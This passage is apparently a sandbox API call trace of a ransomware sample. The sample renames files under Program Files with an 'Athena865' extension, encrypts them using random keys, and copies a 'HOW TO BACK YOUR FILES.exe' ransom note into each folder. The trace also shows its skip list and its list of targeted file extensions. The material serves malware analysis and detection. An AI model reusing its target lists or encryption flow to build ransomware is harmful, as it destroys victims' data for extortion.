lpString2="PhotoAcq.dll.mui" | out: lpString1="PhotoAcq.dll.mui") returned="PhotoAcq.dll.mui" [0097.443] lstrlenW (lpString="PhotoAcq.dll.mui") returned 16 [0097.443] lstrlenW (lpString="Athena865") returned 9 [0097.443] lstrcmpiW (lpString1="q.dll.mui", lpString2="Athena865") returned 1 [0097.443] lstrlenW (lpString=".dll") returned 4 [0097.443] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2=".dll") returned 1 [0097.443] lstrlenW (lpString=".lnk") returned 4 [0097.443] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2=".lnk") returned 1 [0097.443] lstrlenW (lpString=".ini") returned 4 [0097.443] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2=".ini") returned 1 [0097.443] lstrlenW (lpString=".sys") returned 4 [0097.443] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2=".sys") returned 1 [0097.443] lstrlenW (lpString="PhotoAcq.dll.mui") returned 16 [0097.443] lstrlenW (lpString="bak") returned 3 [0097.443] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0097.443] lstrlenW (lpString="ba_") returned 3 [0097.443] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0097.443] lstrlenW (lpString="dbb") returned 3 [0097.443] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0097.443] lstrlenW (lpString="vmdk") returned 4 [0097.443] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0097.443] lstrlenW (lpString="rar") returned 3 [0097.443] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0097.443] lstrlenW (lpString="zip") returned 3 [0097.443] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0097.443] lstrlenW (lpString="tgz") returned 3 [0097.443] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0097.443] lstrlenW (lpString="vbox") returned 4 [0097.443] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0097.443] lstrlenW (lpString="vdi") returned 3 [0097.444] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0097.444] lstrlenW (lpString="vhd") returned 3 [0097.444] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0097.444] lstrlenW (lpString="vhdx") returned 4 [0097.444] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0097.444] lstrlenW (lpString="avhd") returned 4 [0097.444] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0097.444] lstrlenW (lpString="db") returned 2 [0097.444] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0097.444] lstrlenW (lpString="db2") returned 3 [0097.444] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0097.444] lstrlenW (lpString="db3") returned 3 [0097.444] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0097.444] lstrlenW (lpString="dbf") returned 3 [0097.444] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0097.444] lstrlenW (lpString="mdf") returned 3 [0097.444] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0097.444] lstrlenW (lpString="mdb") returned 3 [0097.444] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0097.444] lstrlenW (lpString="sql") returned 3 [0097.444] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0097.444] lstrlenW (lpString="sqlite") returned 6 [0097.444] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0097.444] lstrlenW (lpString="sqlite3") returned 7 [0097.444] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0097.444] lstrlenW (lpString="sqlitedb") returned 8 [0097.444] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0097.444] lstrlenW (lpString="xml") returned 3 [0097.444] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0097.444] lstrlenW (lpString="$er") returned 3 [0097.444] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0097.444] lstrlenW (lpString="4dd") returned 3 [0097.445] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0097.445] lstrlenW (lpString="4dl") returned 3 [0097.445] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0097.445] lstrlenW (lpString="^^^") returned 3 [0097.445] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0097.445] lstrlenW (lpString="abs") returned 3 [0097.445] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0097.445] lstrlenW (lpString="abx") returned 3 [0097.445] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0097.445] lstrlenW (lpString="accdb") returned 5 [0097.445] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0097.445] lstrlenW (lpString="accdc") returned 5 [0097.445] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0097.445] lstrlenW (lpString="accde") returned 5 [0097.445] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0097.445] lstrlenW (lpString="accdr") returned 5 [0097.445] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0097.445] lstrlenW (lpString="accdt") returned 5 [0097.445] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0097.445] lstrlenW (lpString="accdw") returned 5 [0097.445] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0097.445] lstrlenW (lpString="accft") returned 5 [0097.445] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0097.445] lstrlenW (lpString="adb") returned 3 [0097.445] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0097.445] lstrlenW (lpString="adb") returned 3 [0097.445] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0097.445] lstrlenW (lpString="ade") returned 3 [0097.445] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0097.445] lstrlenW (lpString="adf") returned 3 [0097.445] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0097.445] lstrlenW (lpString="adn") returned 3 [0097.446] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0097.446] lstrlenW (lpString="adp") returned 3 [0097.446] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0097.446] lstrlenW (lpString="alf") returned 3 [0097.446] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0097.446] lstrlenW (lpString="ask") returned 3 [0097.446] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0097.446] lstrlenW (lpString="btr") returned 3 [0097.446] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0097.446] lstrlenW (lpString="cat") returned 3 [0097.446] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0097.446] lstrlenW (lpString="cdb") returned 3 [0097.446] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0097.446] lstrlenW (lpString="ckp") returned 3 [0097.446] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0097.446] lstrlenW (lpString="cma") returned 3 [0097.446] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0097.446] lstrlenW (lpString="cpd") returned 3 [0097.446] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0097.446] lstrlenW (lpString="dacpac") returned 6 [0097.446] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0097.446] lstrlenW (lpString="dad") returned 3 [0097.446] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0097.446] lstrlenW (lpString="dadiagrams") returned 10 [0097.446] lstrcmpiW (lpString1="cq.dll.mui", lpString2="dadiagrams") returned -1 [0097.446] lstrlenW (lpString="daschema") returned 8 [0097.446] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0097.446] lstrlenW (lpString="db-journal") returned 10 [0097.446] lstrcmpiW (lpString1="cq.dll.mui", lpString2="db-journal") returned -1 [0097.446] lstrlenW (lpString="db-shm") returned 6 [0097.446] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0097.447] lstrlenW (lpString="db-wal") returned 6 [0097.447] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0097.447] lstrlenW (lpString="dbc") returned 3 [0097.447] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0097.447] lstrlenW (lpString="dbs") returned 3 [0097.447] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0097.447] lstrlenW (lpString="dbt") returned 3 [0097.447] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0097.447] lstrlenW (lpString="dbv") returned 3 [0097.447] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0097.447] lstrlenW (lpString="dbx") returned 3 [0097.447] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0097.447] lstrlenW (lpString="dcb") returned 3 [0097.447] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0097.447] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui.Athena865") returned 76 [0097.447] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us\\photoacq.dll.mui"), lpNewFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us\\photoacq.dll.mui.athena865"), dwFlags=0x1) returned 1 [0097.448] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us\\photoacq.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0097.448] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19456) returned 1 [0097.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0097.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0097.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0097.449] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0097.449] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0097.449] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0097.450] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f00, lpName=0x0) returned 0x17c [0097.451] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f00) returned 0x100000 [0097.453] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0097.454] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0097.454] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0097.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0097.454] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0097.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0097.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0097.454] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0097.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0097.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0097.454] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0097.454] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0097.454] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0097.454] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0097.455] CloseHandle (hObject=0x17c) returned 1 [0097.455] CloseHandle (hObject=0x154) returned 1 [0097.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0097.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0097.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0097.455] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 1 [0097.455] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.455] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.455] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2=".") returned 1 [0097.455] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="..") returned 1 [0097.455] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="windows") returned -1 [0097.455] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="bootmgr") returned 1 [0097.455] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="temp") returned -1 [0097.455] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="pagefile.sys") returned 1 [0097.455] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="boot") returned 1 [0097.455] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="ids.txt") returned 1 [0097.456] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="ntuser.dat") returned 1 [0097.456] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="perflogs") returned 1 [0097.456] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="MSBuild") returned 1 [0097.456] lstrlenW (lpString="PhotoViewer.dll.mui") returned 19 [0097.456] lstrcpyW (in: lpString1=0x241e8ac, lpString2="PhotoViewer.dll.mui" | out: lpString1="PhotoViewer.dll.mui") returned="PhotoViewer.dll.mui" [0097.456] lstrlenW (lpString="PhotoViewer.dll.mui") returned 19 [0097.456] lstrlenW (lpString="Athena865") returned 9 [0097.456] lstrcmpiW (lpString1="r.dll.mui", lpString2="Athena865") returned 1 [0097.456] lstrlenW (lpString=".dll") returned 4 [0097.456] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2=".dll") returned 1 [0097.456] lstrlenW (lpString=".lnk") returned 4 [0097.456] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2=".lnk") returned 1 [0097.456] lstrlenW (lpString=".ini") returned 4 [0097.456] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2=".ini") returned 1 [0097.456] lstrlenW (lpString=".sys") returned 4 [0097.456] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2=".sys") returned 1 [0097.456] lstrlenW (lpString="PhotoViewer.dll.mui") returned 19 [0097.456] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui.Athena865") returned 79 [0097.456] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us\\photoviewer.dll.mui"), lpNewFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us\\photoviewer.dll.mui.athena865"), dwFlags=0x1) returned 1 [0097.457] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us\\photoviewer.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0097.457] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17408) returned 1 [0097.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0097.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0097.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0097.457] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0097.458] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0097.458] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0097.458] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4700, lpName=0x0) returned 0x17c [0097.460] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4700) returned 0x100000 [0097.461] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0097.462] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0097.462] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0097.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0097.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0097.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0097.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0097.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0097.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0097.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0097.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0097.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0097.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0097.462] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0097.463] CloseHandle (hObject=0x17c) returned 1 [0097.463] CloseHandle (hObject=0x154) returned 1 [0097.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0097.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0097.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0097.463] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 0 [0097.463] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0097.463] ReleaseMutex (hMutex=0xec) returned 1 [0097.463] CloseHandle (hObject=0xec) returned 1 [0097.463] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\en-US") returned="C:\\Program Files (x86)\\Windows Sidebar\\en-US" [0097.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b128 | out: hHeap=0x4f0000) returned 1 [0097.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50da78 | out: hHeap=0x4f0000) returned 1 [0097.463] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\en-US") returned 44 [0097.463] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\DE906D4E28BE38C1CCB50AC86A181E40") returned 0xec [0097.464] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.464] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\en-US") returned="C:\\Program Files (x86)\\Windows Sidebar\\en-US" [0097.464] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.464] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.464] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\en-us\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.464] GetLastError () returned 0x0 [0097.464] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0097.464] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.465] CloseHandle (hObject=0xf4) returned 1 [0097.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0097.465] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.465] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\en-US\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc44f03e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc44f03e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0097.466] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.466] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.466] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.466] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc44f03e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc44f03e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.466] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.466] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.466] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.466] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.466] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc44f03e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc44f03e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.466] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.466] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sbdrop.dll.mui", cAlternateFileName="")) returned 1 [0097.466] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.466] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.466] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2=".") returned 1 [0097.466] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="..") returned 1 [0097.466] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="windows") returned -1 [0097.466] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="bootmgr") returned 1 [0097.466] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="temp") returned -1 [0097.466] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="pagefile.sys") returned 1 [0097.466] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="boot") returned 1 [0097.466] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="ids.txt") returned 1 [0097.466] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="ntuser.dat") returned 1 [0097.466] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="perflogs") returned 1 [0097.466] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="MSBuild") returned 1 [0097.466] lstrlenW (lpString="sbdrop.dll.mui") returned 14 [0097.466] lstrcpyW (in: lpString1=0x241e8a2, lpString2="sbdrop.dll.mui" | out: lpString1="sbdrop.dll.mui") 